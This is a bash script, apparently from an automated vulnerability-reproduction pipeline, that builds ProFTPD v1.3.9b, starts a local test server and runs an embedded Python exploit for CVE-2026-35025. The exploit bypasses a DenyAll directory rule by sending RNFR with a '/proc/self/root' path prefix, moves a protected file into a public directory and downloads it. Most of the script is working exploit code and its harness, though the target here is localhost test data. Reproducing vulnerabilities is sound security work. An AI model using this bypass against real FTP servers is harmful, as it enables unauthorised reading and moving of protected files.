#!/bin/bash
set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$REPRO_DIR/artifacts"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"
mkdir -p "$ARTIFACTS"
chmod 755 "$ROOT" "$LOGS" "$REPRO_DIR" "$ARTIFACTS" 2>/dev/null || true

cd "$ROOT"

exec > >(tee -a "$LOGS/reproduction_steps.log")
exec 2>&1

EXIT_CODE=1
MANIFEST_WRITTEN=false
PROFTPD_PID=""
PROFTPD_PID_FILE=""
CACHE_DIR=""

cleanup() {
    if [ -n "$PROFTPD_PID" ] && kill -0 "$PROFTPD_PID" 2>/dev/null; then
        kill "$PROFTPD_PID" 2>/dev/null || true
    fi
    if [ -n "$PROFTPD_PID_FILE" ] && [ -f "$PROFTPD_PID_FILE" ]; then
        kill "$(cat "$PROFTPD_PID_FILE")" 2>/dev/null || true
    fi
    if [ "$MANIFEST_WRITTEN" = false ]; then
        write_failure_manifest "cleanup trap after failure"
    fi
}

trap cleanup EXIT

write_failure_manifest() {
    local reason="${1:-unknown}"
    cat > "$REPRO_DIR/runtime_manifest.json" <<JSON
{
  "entrypoint_kind": "network_service",
  "entrypoint_detail": "ProFTPD FTP server on localhost:2121 handling authenticated RNFR/RNTO/RETR commands",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": ["proftpd-v1.3.9b", "ftp-python-client"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/proftpd.log"
  ],
  "notes": "Failure: $reason"
}
JSON
    MANIFEST_WRITTEN=true
}

write_success_manifest() {
    cat > "$REPRO_DIR/runtime_manifest.json" <<JSON
{
  "entrypoint_kind": "network_service",
  "entrypoint_detail": "ProFTPD FTP server on localhost:2121 handling authenticated RNFR/RNTO/RETR commands",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["proftpd-v1.3.9b", "ftp-python-client", "linux-proc-self-root"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/proftpd.log",
    "repro/artifacts/ftp_exploit_output.txt",
    "repro/proftpd.conf",
    "repro/ftp-root/protected/secret.txt",
    "repro/ftp-root/public/leaked.txt"
  ],
  "notes": "Vulnerable ProFTPD v1.3.9b allows authenticated RNFR using /proc/self/root prefix to bypass DenyAll Directory ACL; secret file is renamed to public directory and retrieved."
}
JSON
    MANIFEST_WRITTEN=true
}

error_exit() {
    echo "ERROR: $1"
    write_failure_manifest "$1"
    exit 1
}

echo "=== CVE-2026-35025 ProFTPD RNFR /proc/self/root ACL bypass reproduction ==="

# Read project cache context if available
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi

if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo" ]; then
    REPO="$CACHE_DIR/repo"
    echo "Using existing project cache repo: $REPO"
else
    REPO="$ROOT/artifacts/proftpd"
    mkdir -p "$REPO"
    echo "No prepared repo found; cloning to $REPO"
    git clone --depth 1 --branch v1.3.9b https://github.com/proftpd/proftpd.git "$REPO" || {
        echo "Clone failed; trying full clone fallback"
        git clone https://github.com/proftpd/proftpd.git "$REPO"
    }
fi

VULN_VERSION="v1.3.9b"
VULN_COMMIT=$(git -C "$REPO" rev-parse "$VULN_VERSION")
echo "Vulnerable version: $VULN_VERSION ($VULN_COMMIT)"

git -C "$REPO" checkout -f "$VULN_VERSION" || error_exit "git checkout failed"

# Install minimal build dependencies
echo "Installing dependencies..."
export DEBIAN_FRONTEND=noninteractive
sudo apt-get update -qq
sudo apt-get install -y -qq build-essential libncurses-dev libssl-dev \
    libpcre2-dev libwrap0-dev libcap-dev zlib1g-dev python3 openssl \
    netcat-openbsd procps

# Build ProFTPD in build tree, no install needed
BUILD_DIR="$REPO/build-vuln"
if [ -d "$BUILD_DIR" ]; then
    rm -rf "$BUILD_DIR"
fi
mkdir -p "$BUILD_DIR"
cd "$BUILD_DIR"
"$REPO/configure" --disable-auth-pam --enable-ipv6 \
    --without-getopt --without-howl --without-geoip --without-ldap \
    --without-mysql --without-pgsql --without-sqlite --without-redis \
    --without-memcached --without-sodium --without-krb5 --without-ident \
    --without-oath --without-jwt --without-curl --without-maxminddb \
    --without-exif --without-libjpeg --without-libpng --without-libtiff \
    --without-libwebp --without-libmagic || error_exit "configure failed"
make -j$(nproc) || error_exit "make failed"

PROFTPD="$BUILD_DIR/proftpd"
[ -x "$PROFTPD" ] || error_exit "proftpd binary not found at $PROFTPD"

# Run the server as the current (non-root) user; virtual user maps to same UID
CURRENT_USER=$(id -un)
CURRENT_UID=$(id -u)
CURRENT_GID=$(id -g)
CURRENT_GROUP=$(id -gn)

TEST_ROOT="$REPRO_DIR/ftp-root"
rm -rf "$TEST_ROOT"
mkdir -p "$TEST_ROOT/protected"
mkdir -p "$TEST_ROOT/public"

SECRET="This is the secret content that should not be accessible via normal FTP."
echo "$SECRET" > "$TEST_ROOT/protected/secret.txt"
chmod 755 "$TEST_ROOT/protected"
chmod 644 "$TEST_ROOT/protected/secret.txt"
chmod 777 "$TEST_ROOT/public"

PASSWD_FILE="$REPRO_DIR/proftpd.passwd"
GROUP_FILE="$REPRO_DIR/proftpd.group"

# Generate a SHA-512 password hash for "testpass" using openssl
PASS_HASH=$(openssl passwd -6 testpass)
[ -n "$PASS_HASH" ] || error_exit "openssl password generation failed"

# Create the AuthUserFile in passwd(5) format; must not be world-readable
printf "testuser:%s:%s:%s:testuser:%s:/bin/false\n" \
    "$PASS_HASH" "$CURRENT_UID" "$CURRENT_GID" "$TEST_ROOT" > "$PASSWD_FILE"
chmod 600 "$PASSWD_FILE"

# Create the AuthGroupFile
printf "testgroup:x:%s:testuser\n" "$CURRENT_GID" > "$GROUP_FILE"
chmod 600 "$GROUP_FILE"

PORT=2121
PID_FILE="$REPRO_DIR/proftpd.pid"
SCOREBOARD="$REPRO_DIR/proftpd.scoreboard"

# Generate ProFTPD configuration
cat > "$REPRO_DIR/proftpd.conf" <<EOF || error_exit "config write failed"
ServerName "ProFTPD-CVE-2026-35025"
ServerType standalone
DefaultServer on
Port $PORT
User $CURRENT_USER
Group $CURRENT_GROUP

AuthUserFile $PASSWD_FILE
AuthGroupFile $GROUP_FILE
RequireValidShell off
AuthOrder mod_auth_file.c

UseIPv6 off
UseReverseDNS off
ScoreboardFile $SCOREBOARD
PidFile $PID_FILE

# No DefaultRoot/chroot for this vulnerable proof

<Directory $TEST_ROOT>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>

<Directory $TEST_ROOT/protected>
  <Limit ALL>
    DenyAll
  </Limit>
</Directory>

<Directory $TEST_ROOT/public>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>
EOF

# Start ProFTPD
echo "Starting ProFTPD on port $PORT as $CURRENT_USER..."
rm -f "$PID_FILE"
"$PROFTPD" -c "$REPRO_DIR/proftpd.conf" -d 10 > "$LOGS/proftpd.log" 2>&1 &
PROFTPD_PID=$!
PROFTPD_PID_FILE="$PID_FILE"

# Wait for the server to be ready
for i in $(seq 1 30); do
    if nc -z localhost "$PORT" 2>/dev/null; then
        echo "ProFTPD is listening on port $PORT"
        break
    fi
    if ! kill -0 "$PROFTPD_PID" 2>/dev/null; then
        error_exit "ProFTPD exited prematurely (see logs/proftpd.log)"
    fi
    sleep 1
done

nc -z localhost "$PORT" 2>/dev/null || error_exit "ProFTPD did not start (see logs/proftpd.log)"

# FTP client interaction using Python
PYTHON_SCRIPT="$REPRO_DIR/ftp_exploit.py"
export TEST_ROOT
export PORT
export SECRET
cat > "$PYTHON_SCRIPT" <<'PYEOF' || error_exit "python script write failed"
import ftplib
import os
import sys

host = "localhost"
port = int(os.environ.get("PORT", "2121"))
user = "testuser"
passwd = "testpass"
test_root = os.environ["TEST_ROOT"]
expected = os.environ["SECRET"]

protected_abs = os.path.join(test_root, "protected", "secret.txt")
public_abs = os.path.join(test_root, "public", "leaked.txt")
public_rel = "public/leaked.txt"

results = {}

print("=== Connecting to FTP server ===")
ftp = ftplib.FTP()
ftp.connect(host, port)
ftp.login(user, passwd)
print("Logged in as testuser")

# 1. Verify direct access to protected file is denied
print("\n=== Test 1: Direct RETR of protected file should fail ===")
try:
    ftp.voidcmd("TYPE I")
    ftp.retrlines("RETR protected/secret.txt")
    results["direct_retr"] = "ALLOWED (unexpected)"
except ftplib.error_perm as e:
    print(f"Direct RETR denied: {e}")
    results["direct_retr"] = "DENIED (expected)"
except Exception as e:
    print(f"Direct RETR error: {e}")
    results["direct_retr"] = f"ERROR: {e}"

# 2. Verify direct RNFR on protected file is denied
print("\n=== Test 2: Direct RNFR of protected file should fail ===")
try:
    resp = ftp.sendcmd("RNFR protected/secret.txt")
    print(f"Direct RNFR response: {resp}")
    results["direct_rnfr"] = "ALLOWED (unexpected)"
except ftplib.error_perm as e:
    print(f"Direct RNFR denied: {e}")
    results["direct_rnfr"] = "DENIED (expected)"
except Exception as e:
    print(f"Direct RNFR error: {e}")
    results["direct_rnfr"] = f"ERROR: {e}"

# 3. Exploit: RNFR with /proc/self/root prefix, then RNTO public dir
print("\n=== Test 3: RNFR with /proc/self/root prefix (bypass) ===")
proc_path = "/proc/self/root" + protected_abs
print(f"RNFR {proc_path}")
try:
    resp = ftp.sendcmd(f"RNFR {proc_path}")
    print(f"RNFR response: {resp}")
    if not resp.startswith("350"):
        print(f"RNFR bypass did not return 350: {resp}")
        results["bypass_rnfr"] = f"UNEXPECTED: {resp}"
        ftp.quit()
        sys.exit(1)
    results["bypass_rnfr"] = "ALLOWED (exploit)"
except ftplib.error_perm as e:
    print(f"RNFR bypass denied: {e}")
    results["bypass_rnfr"] = f"DENIED: {e}"
    ftp.quit()
    sys.exit(1)
except Exception as e:
    print(f"RNFR bypass error: {e}")
    results["bypass_rnfr"] = f"ERROR: {e}"
    ftp.quit()
    sys.exit(1)

print(f"RNTO {public_abs}")
try:
    resp = ftp.sendcmd(f"RNTO {public_abs}")
    print(f"RNTO response: {resp}")
    if not resp.startswith("2"):
        print(f"RNTO did not succeed: {resp}")
        results["bypass_rnto"] = f"UNEXPECTED: {resp}"
        ftp.quit()
        sys.exit(1)
    results["bypass_rnto"] = "ALLOWED (exploit)"
except ftplib.error_perm as e:
    print(f"RNTO denied: {e}")
    results["bypass_rnto"] = f"DENIED: {e}"
    ftp.quit()
    sys.exit(1)
except Exception as e:
    print(f"RNTO error: {e}")
    results["bypass_rnto"] = f"ERROR: {e}"
    ftp.quit()
    sys.exit(1)

# 4. Retrieve the leaked file from public directory
print("\n=== Test 4: RETR renamed file from public directory ===")
ftp.voidcmd("TYPE A")
content = []
try:
    def cb(line):
        content.append(line)
        print(f"RETR line: {line}")
    ftp.retrlines(f"RETR {public_rel}", cb)
    results["retr_public"] = "ALLOWED (exploit)"
except ftplib.error_perm as e:
    print(f"RETR public denied: {e}")
    results["retr_public"] = f"DENIED: {e}"
except Exception as e:
    print(f"RETR public error: {e}")
    results["retr_public"] = f"ERROR: {e}"

ftp.quit()

print("\n=== Results ===")
for k, v in results.items():
    print(f"{k}: {v}")

leaked = "\n".join(content)
if leaked.strip() == expected.strip():
    print("\nSUCCESS: Secret content was leaked via RNFR /proc/self/root bypass!")
    sys.exit(0)
else:
    print(f"\nFAILURE: Leaked content does not match secret.\nExpected: {expected}\nGot: {leaked}")
    sys.exit(1)
PYEOF

echo "Running FTP exploit script..."
python3 "$PYTHON_SCRIPT" | tee "$ARTIFACTS/ftp_exploit_output.txt"
EXPLOIT_EXIT=${PIPESTATUS[0]}

echo "=== ProFTPD log tail ===" | tee -a "$ARTIFACTS/ftp_exploit_output.txt"
tail -n 100 "$LOGS/proftpd.log" | tee -a "$ARTIFACTS/ftp_exploit_output.txt" || true

if [ $EXPLOIT_EXIT -eq 0 ]; then
    write_success_manifest
    EXIT_CODE=0
else
    write_failure_manifest "FTP exploit did not leak secret content"
fi

# Best-effort copy of current attempt artifacts to project cache for future reference
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
    PC_ATTEMPT="$CACHE_DIR/.pruva/proof-carry/latest_attempt"
    mkdir -p "$PC_ATTEMPT/repro" "$PC_ATTEMPT/logs"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC_ATTEMPT/repro/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$PC_ATTEMPT/repro/runtime_manifest.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/validation_verdict.json" "$PC_ATTEMPT/repro/validation_verdict.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/rca_report.md" "$PC_ATTEMPT/repro/rca_report.md" 2>/dev/null || true
    cp -f "$LOGS/reproduction_steps.log" "$PC_ATTEMPT/logs/reproduction_steps.log" 2>/dev/null || true
    cp -f "$LOGS/proftpd.log" "$PC_ATTEMPT/logs/proftpd.log" 2>/dev/null || true
    if [ $EXIT_CODE -eq 0 ]; then
        PC_CONFIRMED="$CACHE_DIR/.pruva/proof-carry/latest_confirmed"
        mkdir -p "$PC_CONFIRMED/repro" "$PC_CONFIRMED/logs"
        cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC_CONFIRMED/repro/reproduction_steps.sh" 2>/dev/null || true
        cp -f "$REPRO_DIR/runtime_manifest.json" "$PC_CONFIRMED/repro/runtime_manifest.json" 2>/dev/null || true
        cp -f "$REPRO_DIR/validation_verdict.json" "$PC_CONFIRMED/repro/validation_verdict.json" 2>/dev/null || true
        cp -f "$REPRO_DIR/rca_report.md" "$PC_CONFIRMED/repro/rca_report.md" 2>/dev/null || true
        cp -f "$LOGS/reproduction_steps.log" "$PC_CONFIRMED/logs/reproduction_steps.log" 2>/dev/null || true
        cp -f "$LOGS/proftpd.log" "$PC_CONFIRMED/logs/proftpd.log" 2>/dev/null || true
    fi
fi

exit $EXIT_CODE
